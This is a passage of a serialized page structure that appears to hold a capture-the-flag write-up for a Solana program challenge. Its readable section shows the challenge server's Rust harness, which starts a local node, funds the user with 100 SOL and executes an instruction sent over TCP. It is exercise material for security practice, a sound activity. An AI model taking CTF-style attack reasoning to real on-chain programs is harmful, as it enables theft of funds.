"style":13625},[54425],{"type":30,"value":53775},{"type":25,"tag":271,"props":54427,"children":54428},{"style":13603},[54429],{"type":30,"value":13617},{"type":25,"tag":271,"props":54431,"children":54432},{"style":13620},[54433],{"type":30,"value":53784},{"type":25,"tag":271,"props":54435,"children":54436},{"style":13603},[54437],{"type":30,"value":13617},{"type":25,"tag":271,"props":54439,"children":54440},{"style":13625},[54441],{"type":30,"value":53793},{"type":25,"tag":271,"props":54443,"children":54444},{"style":13609},[54445],{"type":30,"value":16567},{"type":25,"tag":271,"props":54447,"children":54448},{"style":13625},[54449],{"type":30,"value":30349},{"type":25,"tag":271,"props":54451,"children":54452},{"style":16187},[54453],{"type":30,"value":17214},{"type":25,"tag":271,"props":54455,"children":54456},{"style":13625},[54457],{"type":30,"value":36160},{"type":25,"tag":271,"props":54459,"children":54460},{"style":14289},[54461],{"type":30,"value":33387},{"type":25,"tag":271,"props":54463,"children":54464},{"style":13625},[54465],{"type":30,"value":394},{"type":25,"tag":271,"props":54467,"children":54468},{"style":13609},[54469],{"type":30,"value":21164},{"type":25,"tag":271,"props":54471,"children":54472},{"style":13625},[54473],{"type":30,"value":54474},")>(",{"type":25,"tag":271,"props":54476,"children":54477},{"style":13598},[54478],{"type":30,"value":10346},{"type":25,"tag":271,"props":54480,"children":54481},{"style":13625},[54482],{"type":30,"value":5604},{"type":25,"tag":271,"props":54484,"children":54485},{"style":13603},[54486],{"type":30,"value":16195},{"type":25,"tag":271,"props":54488,"children":54489},{"style":16187},[54490],{"type":30,"value":17214},{"type":25,"tag":271,"props":54492,"children":54493},{"style":13625},[54494],{"type":30,"value":5630},{"type":25,"tag":271,"props":54496,"children":54497},{"style":13603},[54498],{"type":30,"value":1860},{"type":25,"tag":271,"props":54500,"children":54501},{"style":13620},[54502],{"type":30,"value":39272},{"type":25,"tag":271,"props":54504,"children":54505},{"style":13625},[54506],{"type":30,"value":27000},{"type":25,"tag":271,"props":54508,"children":54509},{"style":13603},[54510],{"type":30,"value":1860},{"type":25,"tag":271,"props":54512,"children":54513},{"style":13620},[54514],{"type":30,"value":16815},{"type":25,"tag":271,"props":54516,"children":54517},{"style":13625},[54518],{"type":30,"value":28546},{"type":25,"tag":271,"props":54520,"children":54521},{"class":13593,"line":14400},[54522,54526,54530,54534,54538,54542,54546,54550,54554,54558,54562,54566,54570,54574,54578,54582,54586,54590,54594,54598,54602,54606,54610,54614,54618,54622,54626,54630],{"type":25,"tag":271,"props":54523,"children":54524},{"style":14289},[54525],{"type":30,"value":16208},{"type":25,"tag":271,"props":54527,"children":54528},{"style":13598},[54529],{"type":30,"value":53881},{"type":25,"tag":271,"props":54531,"children":54532},{"style":13603},[54533],{"type":30,"value":16155},{"type":25,"tag":271,"props":54535,"children":54536},{"style":13625},[54537],{"type":30,"value":53766},{"type":25,"tag":271,"props":54539,"children":54540},{"style":13603},[54541],{"type":30,"value":13617},{"type":25,"tag":271,"props":54543,"children":54544},{"style":13625},[54545],{"type":30,"value":53775},{"type":25,"tag":271,"props":54547,"children":54548},{"style":13603},[54549],{"type":30,"value":13617},{"type":25,"tag":271,"props":54551,"children":54552},{"style":13620},[54553],{"type":30,"value":53784},{"type":25,"tag":271,"props":54555,"children":54556},{"style":13603},[54557],{"type":30,"value":13617},{"type":25,"tag":271,"props":54559,"children":54560},{"style":13625},[54561],{"type":30,"value":53793},{"type":25,"tag":271,"props":54563,"children":54564},{"style":13609},[54565],{"type":30,"value":16567},{"type":25,"tag":271,"props":54567,"children":54568},{"style":13625},[54569],{"type":30,"value":30349},{"type":25,"tag":271,"props":54571,"children":54572},{"style":16187},[54573],{"type":30,"value":17214},{"type":25,"tag":271,"props":54575,"children":54576},{"style":13625},[54577],{"type":30,"value":36160},{"type":25,"tag":271,"props":54579,"children":54580},{"style":13609},[54581],{"type":30,"value":21164},{"type":25,"tag":271,"props":54583,"children":54584},{"style":13625},[54585],{"type":30,"value":20732},{"type":25,"tag":271,"props":54587,"children":54588},{"style":13598},[54589],{"type":30,"value":10346},{"type":25,"tag":271,"props":54591,"children":54592},{"style":13625},[54593],{"type":30,"value":5604},{"type":25,"tag":271,"props":54595,"children":54596},{"style":16187},[54597],{"type":30,"value":17214},{"type":25,"tag":271,"props":54599,"children":54600},{"style":13603},[54601],{"type":30,"value":16195},{"type":25,"tag":271,"props":54603,"children":54604},{"style":16187},[54605],{"type":30,"value":53958},{"type":25,"tag":271,"props":54607,"children":54608},{"style":13625},[54609],{"type":30,"value":5630},{"type":25,"tag":271,"props":54611,"children":54612},{"style":13603},[54613],{"type":30,"value":1860},{"type":25,"tag":271,"props":54615,"children":54616},{"style":13620},[54617],{"type":30,"value":39272},{"type":25,"tag":271,"props":54619,"children":54620},{"style":13625},[54621],{"type":30,"value":27000},{"type":25,"tag":271,"props":54623,"children":54624},{"style":13603},[54625],{"type":30,"value":1860},{"type":25,"tag":271,"props":54627,"children":54628},{"style":13620},[54629],{"type":30,"value":16815},{"type":25,"tag":271,"props":54631,"children":54632},{"style":13625},[54633],{"type":30,"value":28546},{"type":25,"tag":271,"props":54635,"children":54636},{"class":13593,"line":16406},[54637,54641,54645,54649],{"type":25,"tag":271,"props":54638,"children":54639},{"style":13620},[54640],{"type":30,"value":53994},{"type":25,"tag":271,"props":54642,"children":54643},{"style":13625},[54644],{"type":30,"value":394},{"type":25,"tag":271,"props":54646,"children":54647},{"style":13598},[54648],{"type":30,"value":25757},{"type":25,"tag":271,"props":54650,"children":54651},{"style":13625},[54652],{"type":30,"value":13665},{"type":25,"tag":271,"props":54654,"children":54655},{"class":13593,"line":16434},[54656],{"type":25,"tag":271,"props":54657,"children":54658},{"emptyLinePlaceholder":18},[54659],{"type":30,"value":16829},{"type":25,"tag":271,"props":54661,"children":54662},{"class":13593,"line":16447},[54663,54667,54671,54675,54679,54683,54687,54691],{"type":25,"tag":271,"props":54664,"children":54665},{"style":13598},[54666],{"type":30,"value":54165},{"type":25,"tag":271,"props":54668,"children":54669},{"style":13603},[54670],{"type":30,"value":16155},{"type":25,"tag":271,"props":54672,"children":54673},{"style":13603},[54674],{"type":30,"value":14341},{"type":25,"tag":271,"props":54676,"children":54677},{"style":13598},[54678],{"type":30,"value":10346},{"type":25,"tag":271,"props":54680,"children":54681},{"style":13625},[54682],{"type":30,"value":5604},{"type":25,"tag":271,"props":54684,"children":54685},{"style":16187},[54686],{"type":30,"value":53958},{"type":25,"tag":271,"props":54688,"children":54689},{"style":13603},[54690],{"type":30,"value":16195},{"type":25,"tag":271,"props":54692,"children":54693},{"style":13625},[54694],{"type":30,"value":44686},{"type":25,"tag":271,"props":54696,"children":54697},{"class":13593,"line":16465},[54698],{"type":25,"tag":271,"props":54699,"children":54700},{"emptyLinePlaceholder":18},[54701],{"type":30,"value":16829},{"type":25,"tag":271,"props":54703,"children":54704},{"class":13593,"line":16486},[54705,54709,54713,54717,54721,54725,54729,54733,54737,54741,54745,54749,54753,54757,54761,54765,54769,54773,54777,54781,54785,54789,54793,54797,54801,54805,54809,54813,54817],{"type":25,"tag":271,"props":54706,"children":54707},{"style":14289},[54708],{"type":30,"value":16208},{"type":25,"tag":271,"props":54710,"children":54711},{"style":13598},[54712],{"type":30,"value":26978},{"type":25,"tag":271,"props":54714,"children":54715},{"style":13603},[54716],{"type":30,"value":16155},{"type":25,"tag":271,"props":54718,"children":54719},{"style":13625},[54720],{"type":30,"value":53766},{"type":25,"tag":271,"props":54722,"children":54723},{"style":13603},[54724],{"type":30,"value":13617},{"type":25,"tag":271,"props":54726,"children":54727},{"style":13625},[54728],{"type":30,"value":53775},{"type":25,"tag":271,"props":54730,"children":54731},{"style":13603},[54732],{"type":30,"value":13617},{"type":25,"tag":271,"props":54734,"children":54735},{"style":13620},[54736],{"type":30,"value":53784},{"type":25,"tag":271,"props":54738,"children":54739},{"style":13603},[54740],{"type":30,"value":13617},{"type":25,"tag":271,"props":54742,"children":54743},{"style":13625},[54744],{"type":30,"value":53793},{"type":25,"tag":271,"props":54746,"children":54747},{"style":13609},[54748],{"type":30,"value":16567},{"type":25,"tag":271,"props":54750,"children":54751},{"style":13625},[54752],{"type":30,"value":30349},{"type":25,"tag":271,"props":54754,"children":54755},{"style":16187},[54756],{"type":30,"value":17214},{"type":25,"tag":271,"props":54758,"children":54759},{"style":13625},[54760],{"type":30,"value":36160},{"type":25,"tag":271,"props":54762,"children":54763},{"style":14289},[54764],{"type":30,"value":33387},{"type":25,"tag":271,"props":54766,"children":54767},{"style":13625},[54768],{"type":30,"value":394},{"type":25,"tag":271,"props":54770,"children":54771},{"style":13609},[54772],{"type":30,"value":21164},{"type":25,"tag":271,"props":54774,"children":54775},{"style":13625},[54776],{"type":30,"value":54474},{"type":25,"tag":271,"props":54778,"children":54779},{"style":13598},[54780],{"type":30,"value":10346},{"type":25,"tag":271,"props":54782,"children":54783},{"style":13625},[54784],{"type":30,"value":5604},{"type":25,"tag":271,"props":54786,"children":54787},{"style":13603},[54788],{"type":30,"value":16195},{"type":25,"tag":271,"props":54790,"children":54791},{"style":16187},[54792],{"type":30,"value":17214},{"type":25,"tag":271,"props":54794,"children":54795},{"style":13625},[54796],{"type":30,"value":5630},{"type":25,"tag":271,"props":54798,"children":54799},{"style":13603},[54800],{"type":30,"value":1860},{"type":25,"tag":271,"props":54802,"children":54803},{"style":13620},[54804],{"type":30,"value":39272},{"type":25,"tag":271,"props":54806,"children":54807},{"style":13625},[54808],{"type":30,"value":27000},{"type":25,"tag":271,"props":54810,"children":54811},{"style":13603},[54812],{"type":30,"value":1860},{"type":25,"tag":271,"props":54814,"children":54815},{"style":13620},[54816],{"type":30,"value":16815},{"type":25,"tag":271,"props":54818,"children":54819},{"style":13625},[54820],{"type":30,"value":28546},{"type":25,"tag":271,"props":54822,"children":54823},{"class":13593,"line":16495},[54824,54828,54832,54836,54840,54844,54848,54852,54856,54860,54864,54868,54872,54876,54880,54884,54888,54892,54896,54900,54904,54908,54912,54916,54920,54924,54928,54932],{"type":25,"tag":271,"props":54825,"children":54826},{"style":14289},[54827],{"type":30,"value":16208},{"type":25,"tag":271,"props":54829,"children":54830},{"style":13598},[54831],{"type":30,"value":53881},{"type":25,"tag":271,"props":54833,"children":54834},{"style":13603},[54835],{"type":30,"value":16155},{"type":25,"tag":271,"props":54837,"children":54838},{"style":13625},[54839],{"type":30,"value":53766},{"type":25,"tag":271,"props":54841,"children":54842},{"style":13603},[54843],{"type":30,"value":13617},{"type":25,"tag":271,"props":54845,"children":54846},{"style":13625},[54847],{"type":30,"value":53775},{"type":25,"tag":271,"props":54849,"children":54850},{"style":13603},[54851],{"type":30,"value":13617},{"type":25,"tag":271,"props":54853,"children":54854},{"style":13620},[54855],{"type":30,"value":53784},{"type":25,"tag":271,"props":54857,"children":54858},{"style":13603},[54859],{"type":30,"value":13617},{"type":25,"tag":271,"props":54861,"children":54862},{"style":13625},[54863],{"type":30,"value":53793},{"type":25,"tag":271,"props":54865,"children":54866},{"style":13609},[54867],{"type":30,"value":16567},{"type":25,"tag":271,"props":54869,"children":54870},{"style":13625},[54871],{"type":30,"value":30349},{"type":25,"tag":271,"props":54873,"children":54874},{"style":16187},[54875],{"type":30,"value":17214},{"type":25,"tag":271,"props":54877,"children":54878},{"style":13625},[54879],{"type":30,"value":36160},{"type":25,"tag":271,"props":54881,"children":54882},{"style":13609},[54883],{"type":30,"value":21164},{"type":25,"tag":271,"props":54885,"children":54886},{"style":13625},[54887],{"type":30,"value":20732},{"type":25,"tag":271,"props":54889,"children":54890},{"style":13598},[54891],{"type":30,"value":10346},{"type":25,"tag":271,"props":54893,"children":54894},{"style":13625},[54895],{"type":30,"value":5604},{"type":25,"tag":271,"props":54897,"children":54898},{"style":16187},[54899],{"type":30,"value":17214},{"type":25,"tag":271,"props":54901,"children":54902},{"style":13603},[54903],{"type":30,"value":16195},{"type":25,"tag":271,"props":54905,"children":54906},{"style":16187},[54907],{"type":30,"value":53958},{"type":25,"tag":271,"props":54909,"children":54910},{"style":13625},[54911],{"type":30,"value":5630},{"type":25,"tag":271,"props":54913,"children":54914},{"style":13603},[54915],{"type":30,"value":1860},{"type":25,"tag":271,"props":54917,"children":54918},{"style":13620},[54919],{"type":30,"value":39272},{"type":25,"tag":271,"props":54921,"children":54922},{"style":13625},[54923],{"type":30,"value":27000},{"type":25,"tag":271,"props":54925,"children":54926},{"style":13603},[54927],{"type":30,"value":1860},{"type":25,"tag":271,"props":54929,"children":54930},{"style":13620},[54931],{"type":30,"value":16815},{"type":25,"tag":271,"props":54933,"children":54934},{"style":13625},[54935],{"type":30,"value":28546},{"type":25,"tag":271,"props":54937,"children":54938},{"class":13593,"line":16744},[54939,54943,54947,54951],{"type":25,"tag":271,"props":54940,"children":54941},{"style":13620},[54942],{"type":30,"value":53994},{"type":25,"tag":271,"props":54944,"children":54945},{"style":13625},[54946],{"type":30,"value":394},{"type":25,"tag":271,"props":54948,"children":54949},{"style":13598},[54950],{"type":30,"value":25757},{"type":25,"tag":271,"props":54952,"children":54953},{"style":13625},[54954],{"type":30,"value":13665},{"type":25,"tag":271,"props":54956,"children":54957},{"class":13593,"line":16761},[54958],{"type":25,"tag":271,"props":54959,"children":54960},{"style":13625},[54961],{"type":30,"value":16501},{"type":25,"tag":271,"props":54963,"children":54964},{"class":13593,"line":16778},[54965],{"type":25,"tag":271,"props":54966,"children":54967},{"style":13625},[54968],{"type":30,"value":17058},{"type":25,"tag":247,"props":54970,"children":54972},{"id":54971},"test-environment",[54973],{"type":30,"value":54974},"Test Environment",{"type":25,"tag":26,"props":54976,"children":54977},{},[54978],{"type":30,"value":54979},"To understand our capabilites regarding interaction with the program and determine what is necessary to get the flag, we must analyze the test environment.",{"type":25,"tag":26,"props":54981,"children":54982},{},[54983,54985,54991],{"type":30,"value":54984},"When you connect to the server through a tcp connection, ",{"type":25,"tag":264,"props":54986,"children":54988},{"className":54987},[],[54989],{"type":30,"value":54990},"framework/src/main.rs::handle_connection",{"type":30,"value":54992}," gets executed, which does the following:",{"type":25,"tag":661,"props":54994,"children":54995},{},[54996],{"type":25,"tag":112,"props":54997,"children":54998},{},[54999],{"type":30,"value":55000},"Creates a new Solana local node",{"type":25,"tag":7764,"props":55002,"children":55004},{"className":13586,"code":55003,"language":13585,"meta":7,"style":7},"let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();\nassert!(builder.add_program(\"/path/to/chall.so\", Some(chall::ID)) == chall::ID);\nlet mut chall = builder.build().await;\n",[55005],{"type":25,"tag":264,"props":55006,"children":55007},{"__ignoreMap":7},[55008,55089,55165],{"type":25,"tag":271,"props":55009,"children":55010},{"class":13593,"line":13594},[55011,55015,55019,55024,55028,55033,55037,55042,55046,55051,55055,55060,55064,55068,55072,55077,55081,55085],{"type":25,"tag":271,"props":55012,"children":55013},{"style":14289},[55014],{"type":30,"value":24912},{"type":25,"tag":271,"props":55016,"children":55017},{"style":14289},[55018],{"type":30,"value":16145},{"type":25,"tag":271,"props":55020,"children":55021},{"style":13598},[55022],{"type":30,"value":55023}," builder",{"type":25,"tag":271,"props":55025,"children":55026},{"style":13603},[55027],{"type":30,"value":16155},{"type":25,"tag":271,"props":55029,"children":55030},{"style":13609},[55031],{"type":30,"value":55032}," ChallengeBuilder",{"type":25,"tag":271,"props":55034,"children":55035},{"style":13603},[55036],{"type":30,"value":13617},{"type":25,"tag":271,"props":55038,"children":55039},{"style":13620},[55040],{"type":30,"value":55041},"try_from",{"type":25,"tag":271,"props":55043,"children":55044},{"style":13625},[55045],{"type":30,"value":394},{"type":25,"tag":271,"props":55047,"children":55048},{"style":13598},[55049],{"type":30,"value":55050},"socket",{"type":25,"tag":271,"props":55052,"children":55053},{"style":13603},[55054],{"type":30,"value":1860},{"type":25,"tag":271,"props":55056,"children":55057},{"style":13620},[55058],{"type":30,"value":55059},"try_clone",{"type":25,"tag":271,"props":55061,"children":55062},{"style":13625},[55063],{"type":30,"value":27000},{"type":25,"tag":271,"props":55065,"children":55066},{"style":13603},[55067],{"type":30,"value":1860},{"type":25,"tag":271,"props":55069,"children":55070},{"style":13620},[55071],{"type":30,"value":16815},{"type":25,"tag":271,"props":55073,"children":55074},{"style":13625},[55075],{"type":30,"value":55076},"())",{"type":25,"tag":271,"props":55078,"children":55079},{"style":13603},[55080],{"type":30,"value":1860},{"type":25,"tag":271,"props":55082,"children":55083},{"style":13620},[55084],{"type":30,"value":16815},{"type":25,"tag":271,"props":55086,"children":55087},{"style":13625},[55088],{"type":30,"value":16820},{"type":25,"tag":271,"props":55090,"children":55091},{"class":13593,"line":11641},[55092,55097,55101,55106,55110,55115,55119,55124,55128,55133,55138,55142,55147,55151,55156,55160],{"type":25,"tag":271,"props":55093,"children":55094},{"style":13620},[55095],{"type":30,"value":55096},"assert!",{"type":25,"tag":271,"props":55098,"children":55099},{"style":13625},[55100],{"type":30,"value":394},{"type":25,"tag":271,"props":55102,"children":55103},{"style":13598},[55104],{"type":30,"value":55105},"builder",{"type":25,"tag":271,"props":55107,"children":55108},{"style":13603},[55109],{"type":30,"value":1860},{"type":25,"tag":271,"props":55111,"children":55112},{"style":13620},[55113],{"type":30,"value":55114},"add_program",{"type":25,"tag":271,"props":55116,"children":55117},{"style":13625},[55118],{"type":30,"value":394},{"type":25,"tag":271,"props":55120,"children":55121},{"style":17388},[55122],{"type":30,"value":55123},"\"/path/to/chall.so\"",{"type":25,"tag":271,"props":55125,"children":55126},{"style":13625},[55127],{"type":30,"value":44},{"type":25,"tag":271,"props":55129,"children":55130},{"style":13609},[55131],{"type":30,"value":55132},"Some",{"type":25,"tag":271,"props":55134,"children":55135},{"style":13625},[55136],{"type":30,"value":55137},"(chall",{"type":25,"tag":271,"props":55139,"children":55140},{"style":13603},[55141],{"type":30,"value":13617},{"type":25,"tag":271,"props":55143,"children":55144},{"style":13625},[55145],{"type":30,"value":55146},"ID)) ",{"type":25,"tag":271,"props":55148,"children":55149},{"style":13603},[55150],{"type":30,"value":21696},{"type":25,"tag":271,"props":55152,"children":55153},{"style":13625},[55154],{"type":30,"value":55155}," chall",{"type":25,"tag":271,"props":55157,"children":55158},{"style":13603},[55159],{"type":30,"value":13617},{"type":25,"tag":271,"props":55161,"children":55162},{"style":13625},[55163],{"type":30,"value":55164},"ID);\n",{"type":25,"tag":271,"props":55166,"children":55167},{"class":13593,"line":14354},[55168,55172,55176,55180,55184,55188,55192,55197,55201,55205,55209],{"type":25,"tag":271,"props":55169,"children":55170},{"style":14289},[55171],{"type":30,"value":24912},{"type":25,"tag":271,"props":55173,"children":55174},{"style":14289},[55175],{"type":30,"value":16145},{"type":25,"tag":271,"props":55177,"children":55178},{"style":13598},[55179],{"type":30,"value":55155},{"type":25,"tag":271,"props":55181,"children":55182},{"style":13603},[55183],{"type":30,"value":16155},{"type":25,"tag":271,"props":55185,"children":55186},{"style":13598},[55187],{"type":30,"value":55023},{"type":25,"tag":271,"props":55189,"children":55190},{"style":13603},[55191],{"type":30,"value":1860},{"type":25,"tag":271,"props":55193,"children":55194},{"style":13620},[55195],{"type":30,"value":55196},"build",{"type":25,"tag":271,"props":55198,"children":55199},{"style":13625},[55200],{"type":30,"value":27000},{"type":25,"tag":271,"props":55202,"children":55203},{"style":13603},[55204],{"type":30,"value":1860},{"type":25,"tag":271,"props":55206,"children":55207},{"style":16171},[55208],{"type":30,"value":46029},{"type":25,"tag":271,"props":55210,"children":55211},{"style":13625},[55212],{"type":30,"value":16165},{"type":25,"tag":661,"props":55214,"children":55215},{"start":11641},[55216],{"type":25,"tag":112,"props":55217,"children":55218},{},[55219],{"type":30,"value":55220},"Funds the user account with 100 SOL",{"type":25,"tag":7764,"props":55222,"children":55224},{"className":13586,"code":55223,"language":13585,"meta":7,"style":7},"let user_keypair = Keypair::new();\nlet user = user_keypair.pubkey();\n\nlet payer_keypair = &chall.ctx.payer;\nlet payer = payer_keypair.pubkey();\n\nchall\n    .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))\n    .await?;\n\nwriteln!(socket, \"user: {}\", user)?;\n",[55225],{"type":25,"tag":264,"props":55226,"children":55227},{"__ignoreMap":7},[55228,55261,55293,55300,55342,55374,55381,55389,55453,55472,55479],{"type":25,"tag":271,"props":55229,"children":55230},{"class":13593,"line":13594},[55231,55235,55240,55244,55249,55253,55257],{"type":25,"tag":271,"props":55232,"children":55233},{"style":14289},[55234],{"type":30,"value":24912},{"type":25,"tag":271,"props":55236,"children":55237},{"style":13598},[55238],{"type":30,"value":55239}," user_keypair",{"type":25,"tag":271,"props":55241,"children":55242},{"style":13603},[55243],{"type":30,"value":16155},{"type":25,"tag":271,"props":55245,"children":55246},{"style":13609},[55247],{"type":30,"value":55248}," Keypair",{"type":25,"tag":271,"props":55250,"children":55251},{"style":13603},[55252],{"type":30,"value":13617},{"type":25,"tag":271,"props":55254,"children":55255},{"style":13620},[55256],{"type":30,"value":28244},{"type":25,"tag":271,"props":55258,"children":55259},{"style":13625},[55260],{"type":30,"value":16820},{"type":25,"tag":271,"props":55262,"children":55263},{"class":13593,"line":11641},[55264,55268,55273,55277,55281,55285,55289],{"type":25,"tag":271,"props":55265,"children":55266},{"style":14289},[55267],{"type":30,"value":24912},{"type":25,"tag":271,"props":55269,"children":55270},{"style":13598},[55271],{"type":30,"value":55272}," user",{"type":25,"tag":271,"props":55274,"children":55275},{"style":13603},[55276],{"type":30,"value":16155},{"type":25,"tag":271,"props":55278,"children":55279},{"style":13598},[55280],{"type":30,"value":55239},{"type":25,"tag":271,"props":55282,"children":55283},{"style":13603},[55284],{"type":30,"value":1860},{"type":25,"tag":271,"props":55286,"children":55287},{"style":13620},[55288],{"type":30,"value":16689},{"type":25,"tag":271,"props":55290,"children":55291},{"style":13625},[55292],{"type":30,"value":16820},{"type":25,"tag":271,"props":55294,"children":55295},{"class":13593,"line":14354},[55296],{"type":25,"tag":271,"props":55297,"children":55298},{"emptyLinePlaceholder":18},[55299],{"type":30,"value":16829},{"type":25,"tag":271,"props":55301,"children":55302},{"class":13593,"line":14391},[55303,55307,55312,55316,55320,55325,55329,55333,55337],{"type":25,"tag":271,"props":55304,"children":55305},{"style":14289},[55306],{"type":30,"value":24912},{"type":25,"tag":271,"props":55308,"children":55309},{"style":13598},[55310],{"type":30,"value":55311}," payer_keypair",{"type":25,"tag":271,"props":55313,"children":55314},{"style":13603},[55315],{"type":30,"value":16155},{"type":25,"tag":271,"props":55317,"children":55318},{"style":13603},[55319],{"type":30,"value":14341},{"type":25,"tag":271,"props":55321,"children":55322},{"style":13598},[55323],{"type":30,"value":55324},"chall",{"type":25,"tag":271,"props":55326,"children":55327},{"style":13603},[55328],{"type":30,"value":1860},{"type":25,"tag":271,"props":55330,"children":55331},{"style":13625},[55332],{"type":30,"value":33401},{"type":25,"tag":271,"props":55334,"children":55335},{"style":13603},[55336],{"type":30,"value":1860},{"type":25,"tag":271,"props":55338,"children":55339},{"style":13625},[55340],{"type":30,"value":55341},"payer;\n",{"type":25,"tag":271,"props":55343,"children":55344},{"class":13593,"line":14400},[55345,55349,55354,55358,55362,55366,55370],{"type":25,"tag":271,"props":55346,"children":55347},{"style":14289},[55348],{"type":30,"value":24912},{"type":25,"tag":271,"props":55350,"children":55351},{"style":13598},[55352],{"type":30,"value":55353}," payer",{"type":25,"tag":271,"props":55355,"children":55356},{"style":13603},[55357],{"type":30,"value":16155},{"type":25,"tag":271,"props":55359,"children":55360},{"style":13598},[55361],{"type":30,"value":55311},{"type":25,"tag":271,"props":55363,"children":55364},{"style":13603},[55365],{"type":30,"value":1860},{"type":25,"tag":271,"props":55367,"children":55368},{"style":13620},[55369],{"type":30,"value":16689},{"type":25,"tag":271,"props":55371,"children":55372},{"style":13625},[55373],{"type":30,"value":16820},{"type":25,"tag":271,"props":55375,"children":55376},{"class":13593,"line":16406},[55377],{"type":25,"tag":271,"props":55378,"children":55379},{"emptyLinePlaceholder":18},[55380],{"type":30,"value":16829},{"type":25,"tag":271,"props":55382,"children":55383},{"class":13593,"line":16434},[55384],{"type":25,"tag":271,"props":55385,"children":55386},{"style":13598},[55387],{"type":30,"value":55388},"chall\n",{"type":25,"tag":271,"props":55390,"children":55391},{"class":13593,"line":16447},[55392,55397,55402,55407,55411,55415,55419,55423,55428,55432,55436,55440,55444,55449],{"type":25,"tag":271,"props":55393,"children":55394},{"style":13603},[55395],{"type":30,"value":55396},"    .",{"type":25,"tag":271,"props":55398,"children":55399},{"style":13620},[55400],{"type":30,"value":55401},"run_ix",{"type":25,"tag":271,"props":55403,"children":55404},{"style":13625},[55405],{"type":30,"value":55406},"(system_instruction",{"type":25,"tag":271,"props":55408,"children":55409},{"style":13603},[55410],{"type":30,"value":13617},{"type":25,"tag":271,"props":55412,"children":55413},{"style":13620},[55414],{"type":30,"value":45235},{"type":25,"tag":271,"props":55416,"children":55417},{"style":13625},[55418],{"type":30,"value":394},{"type":25,"tag":271,"props":55420,"children":55421},{"style":13603},[55422],{"type":30,"value":13632},{"type":25,"tag":271,"props":55424,"children":55425},{"style":13598},[55426],{"type":30,"value":55427},"payer",{"type":25,"tag":271,"props":55429,"children":55430},{"style":13625},[55431],{"type":30,"value":44},{"type":25,"tag":271,"props":55433,"children":55434},{"style":13603},[55435],{"type":30,"value":13632},{"type":25,"tag":271,"props":55437,"children":55438},{"style":13598},[55439],{"type":30,"value":33353},{"type":25,"tag":271,"props":55441,"children":55442},{"style":13625},[55443],{"type":30,"value":44},{"type":25,"tag":271,"props":55445,"children":55446},{"style":16187},[55447],{"type":30,"value":55448},"100_000_000_000",{"type":25,"tag":271,"props":55450,"children":55451},{"style":13625},[55452],{"type":30,"value":32833},{"type":25,"tag":271,"props":55454,"children":55455},{"class":13593,"line":16465},[55456,55460,55464,55468],{"type":25,"tag":271,"props":55457,"children":55458},{"style":13603},[55459],{"type":30,"value":55396},{"type":25,"tag":271,"props":55461,"children":55462},{"style":16171},[55463],{"type":30,"value":46029},{"type":25,"tag":271,"props":55465,"children":55466},{"style":13603},[55467],{"type":30,"value":5632},{"type":25,"tag":271,"props":55469,"children":55470},{"style":13625},[55471],{"type":30,"value":16165},{"type":25,"tag":271,"props":55473,"children":55474},{"class":13593,"line":16486},[55475],{"type":25,"tag":271,"props":55476,"children":55477},{"emptyLinePlaceholder":18},[55478],{"type":30,"value":16829},{"type":25,"tag":271,"props":55480,"children":55481},{"class":13593,"line":16495},[55482,55487,55491,55495,55499,55504,55508,55512,55516,55520],{"type":25,"tag":271,"props":55483,"children":55484},{"style":13620},[55485],{"type":30,"value":55486},"writeln!",{"type":25,"tag":271,"props":55488,"children":55489},{"style":13625},[55490],{"type":30,"value":394},{"type":25,"tag":271,"props":55492,"children":55493},{"style":13598},[55494],{"type":30,"value":55050},{"type":25,"tag":271,"props":55496,"children":55497},{"style":13625},[55498],{"type":30,"value":44},{"type":25,"tag":271,"props":55500,"children":55501},{"style":17388},[55502],{"type":30,"value":55503},"\"user: {}\"",{"type":25,"tag":271,"props":55505,"children":55506},{"style":13625},[55507],{"type":30,"value":44},{"type":25,"tag":271,"props":55509,"children":55510},{"style":13598},[55511],{"type":30,"value":33353},{"type":25,"tag":271,"props":55513,"children":55514},{"style":13625},[55515],{"type":30,"value":440},{"type":25,"tag":271,"props":55517,"children":55518},{"style":13603},[55519],{"type":30,"value":5632},{"type":25,"tag":271,"props":55521,"children":55522},{"style":13625},[55523],{"type":30,"value":16165},{"type":25,"tag":661,"props":55525,"children":55526},{"start":14354},[55527],{"type":25,"tag":112,"props":55528,"children":55529},{},[55530],{"type":30,"value":55531},"Reads an instruction from the tcp stream and executes it",{"type":25,"tag":7764,"props":55533,"children":55535},{"className":13586,"code":55534,"language":13585,"meta":7,"style":7},"let solve_ix = chall.read_instruction(chall::ID)?;\nchall.run_ixs_full(&[solve_ix], &[&user_keypair], &user).await?;\n",[55536],{"type":25,"tag":264,"props":55537,"children":55538},{"__ignoreMap":7},[55539,55589],{"type":25,"tag":271,"props":55540,"children":55541},{"class":13593,"line":13594},[55542,55546,55551,55555,55559,55563,55568,55572,55576,55581,55585],{"type":25,"tag":271,"props":55543,"children":55544},{"style":14289},[55545],{"type":30,"value":24912},{"type":25,"tag":271,"props":55547,"children":55548},{"style":13598},[55549],{"type":30,"value":55550}," solve_ix",{"type":25,"tag":271,"props":55552,"children":55553},{"style":13603},[55554],{"type":30,"value":16155},{"type":25,"tag":271,"props":55556,"children":55557},{"style":13598},[55558],{"type":30,"value":55155},{"type":25,"tag":271,"props":55560,"children":55561},{"style":13603},[55562],{"type":30,"value":1860},{"type":25,"tag":271,"props":55564,"children":55565},{"style":13620},[55566],{"type":30,"value":55567},"read_instruction",{"type":25,"tag":271,"props":55569,"children":55570},{"style":13625},[55571],{"type":30,"value":55137},{"type":25,"tag":271,"props":55573,"children":55574},{"style":13603},[55575],{"type":30,"value":13617},{"type":25,"tag":271,"props":55577,"children":55578},{"style":13625},[55579],{"type":30,"value":55580},"ID)",{"type":25,"tag":271,"props":55582,"children":55583},{"style":13603},[55584],{"type":30,"value":5632},{"type":25,"tag":271,"props":55586,"children":55587},{"style":13625},[55588],{"type":30,"value":16165},{"type":25,"tag":271,"props":55590,"children":55591},{"class":13593,"line":11641},[55592,55596,55600,55605,55609,55613,55617,55622,55626,55630,55634,55638,55643,55647,55651,55655,55659,55663,55667,55671],{"type":25,"tag":271,"props":55593,"children":55594},{"style":13598},[55595],{"type":30,"value":55324},{"type":25,"tag":271,"props":55597,"children":55598},{"style":13603},[55599],{"type":30,"value":1860},{"type":25,"tag":271,"props":55601,"children":55602},{"style":13620},[55603],{"type":30,"value":55604},"run_ixs_full",{"type":25,"tag":271,"props":55606,"children":55607},{"style":13625},[55608],{"type":30,"value":394},{"type":25,"tag":271,"props":55610,"children":55611},{"style":13603},[55612],{"ty